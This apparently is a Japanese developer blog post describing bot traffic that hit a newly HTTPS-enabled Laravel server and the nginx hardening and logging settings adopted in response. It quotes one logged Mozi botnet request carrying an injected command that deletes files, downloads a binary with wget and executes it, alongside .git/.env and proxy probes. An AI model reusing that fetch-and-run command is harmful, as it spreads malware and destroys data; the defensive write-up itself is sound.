LaravelをHTTPS公開した5分後、世界中のbotが叩いてきた
前回の内容から
sudo certbot --nginx -d test.catatsumuri.org
を実行して証明書を取得した。
その数分後から、ログに見知らぬIPが並び始めた。
何が飛んでくるのか
実際のアクセスログを人間語に訳すとこうなる。
Mozi.a ボットネット
GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
IoTルーターを標的にしたマルウェアの感染コマンド。/shell がなければ404で終わる。
WebLogic T3プロトコル探索
GET /
\x16\x03\x01... ← TLS ClientHello
"t3 12.1.2" ← WebLogic固有プロトコル
Oracle WebLogicを探している自動スキャナー。Laravelには無関係なので400。
Gitリポジトリ漏洩スキャン
GET /.git/config
User-Agent: python-requests/2.25.1
.git/config が公開されていれば、リポジトリ全体を復元できる。
オープンプロキシ確認
CONNECT www.google.com:443
\x05\x01\x00 ← SOCKS5プロトコル
"MGLNDD_43.207.209.62_80"
このサーバーをプロキシとして悪用できないか試している。
さらに時間が経つと .env への試みが5回、.git/config が3回。全部自動だ。
これら1つ1つに目くじらを立てていては最早Webサーバーなど運営不可能。
なぜこんなに早く名前アクセスが来るのか
certbotで証明書を取得すると、発行から数分以内に CT(Certificate Transparency)ログ に公開される。crt.sh などで誰でも検索できる、新規ドメインの公開台帳だ。
これを監視しているスキャナーが世界中にいて、新しいドメインを見つけるとすぐ叩きに来る。SSL化した瞬間にスキャナーに登録される、というのが実態に近い。
nginxを「Laravelを理解した上で閉じる」
Laravel公式ドキュメントのnginx設定には、既に良い設計があるのでこれを採用する。
PHPの実行を index.php だけに限定する
# 公式推奨
location ~ ^/index\.php(/|$)
# よくある設定
location ~ \.php$
Laravelは index.php を単一エンドポイントとするフレームワークなので、他の .php を実行する必要がそもそもない。ファイルアップロード機能との組み合わせで任意コード実行につながる経路を、構造から断ち切っている。
ドットファイルの保護を正確にする
# 公式推奨
location ~ /\.(?!well-known).* { deny all; }
# よくある設定
location ~ /\.ht { deny all; }
.ht 系しか防がない設定より、 .env や .git もまとめて塞げる。.well-knownだけを例外にしているのは、certbotの自動更新がここを使うから。
セキュリティヘッダー
add_header X-Frame-Options "SAMEORIGIN";
add_header X-Content-Type-Options "nosniff";
X-Frame-Options はClickjacking対策。ログイン画面がある時点で必須レベル。nosniff はブラウザがContent-Typeを無視してMIMEスニッフィングするのを防ぐ。ファイルアップロード機能が将来入ることを考えると入れておく価値がある。
X-Powered-By の隠蔽
fastcgi_hide_header X-Powered-By;
PHPバージョンをレスポンスヘッダーから消す。攻撃者に余計な情報を渡さない。
ログを読めるようにする
攻撃が来ても、ログが貧弱だと何も分からない。
まずIPアクセスとホストアクセスを分離した。nginxで access_log の出力先をバーチャルホスト単位で分けるだけでいい。
次に $host をログフォーマットに追加した。デフォルトのログには含まれておらず、どのvhostへのアクセスか判別できない。
最終的なフォーマット:
log_format main '$remote_addr - $host - [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" "$http_user_agent" '
'rt=$request_time urt=$upstream_response_time '
'ssl=$ssl_protocol xfwd=$http_x_forwarded_for rid=$request_id';
$request_id はnginxが各リクエストに振るユニークID。Laravelのアプリケーションログと突き合わせるときに使える。$upstream_response_time でPHP-FPMの応答時間が取れるので、重い処理や異常を検知しやすくなる。
次回
fail2ban を適用して、スキャンIPを自動でブロックする。
Discussion